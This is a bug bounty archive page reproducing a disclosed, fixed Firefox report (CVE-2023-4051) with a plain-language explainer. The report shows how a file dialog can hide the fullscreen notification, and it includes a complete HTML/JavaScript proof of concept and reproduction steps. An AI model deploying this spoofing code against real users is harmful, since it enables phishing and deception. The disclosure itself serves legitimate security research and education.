Skip to content
UI spoofing Disclosed report Intermediate CVE-2023-4051

File Open Dialog hide fullscreen notification

A fullscreen notification can be covered by a file open dialog, allowing an attacker to spoof the notification. The attacker could trick a user into believing a file dialog is part of the fullscreen page.

Hafiizh Follow

Originally disclosed on Mozilla

  • Fixed in 3 months
  • Paid in 3 months
  • Disclosed after 3 months
Text
Created attachment 9322577
poc fileupload firefox.mp4

I found a vulnerability in firefox 110.0.1 (64-bit)  (i tested on windows OS) where a safety browsing alert notification can cover fullscreen notifications which can lead to spoofs.

step to reproduces:

1. open http://103.186.0.20/fileupload.html
2. press "Enter" on keyboard  2 times 

mitigation: 
Exit fullscreen when file dialog prompt is shown.

code (HTML file) : 
<html>
    <head> 
        <script>
           
            function fullscreen()
            {
                         document.getElementById("xx").requestFullscreen().then(function() {
                          document.getElementById('fileid').focus();   
                          document.getElementById("fileid").focus();    
              })
                .catch(function(error) {
                                                // element could not enter fullscreen mode
                                                // error message
                                                console.log(error.message);
                });
                document.getElementById("fileid").focus();
            }
        </script> 
    </head>
    <body id="xx"  >
    
             <input id='fileid' type='file' name='filename'/>
       
            <button id="yy" >google.com</button>
          
    </body> 
</html>
<script>
document.getElementById("yy").focus();
document.getElementById("yy").addEventListener("keypress", function(e) {
  if (e.key === "Enter") {
   
     fullscreen()
   
  }
 
});
document.getElementById("fileid").addEventListener("keypress", function(e) {
  if (e.key === "Enter") {
    
       document.getElementById('fileid').click();
    
  }
 
});


const myTimeout = setTimeout(showdialogfile, 1000);

function myStopFunction() {
  clearTimeout(myTimeout);  
}
function showdialogfile() {
 document.getElementById('fileid').click();
}

</script>

The original report as published on Mozilla's Bugzilla, by Hafiizh. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the browser does not exit fullscreen when a file dialog is shown, allowing the dialog to overlay the fullscreen notification.

What the attacker needed

Victim visits a malicious page; victim presses Enter twice

How it was found

  1. Open the provided HTML page.
  2. Press Enter twice to trigger fullscreen and file dialog.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website goes fullscreen, the browser shows a notification to tell you. This report found that a file open dialog can appear on top of that notification, so an attacker could make it look like the notification is something else. That could trick you into thinking a file dialog is part of the website.

What is UI spoofing?

The interface lies to the user: a framed page catches their clicks, or a browser shows the wrong address or a fake prompt. Paid when it leads to a sensitive action or convincing phishing.

More by Hafiizh

View all

78 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Clickjacking and UI spoofing

The lesson behind this report.

The interface lies to the user: a framed page catches their clicks, or a browser shows the wrong address or a fake prompt. Paid when it leads to a sensitive action or convincing phishing.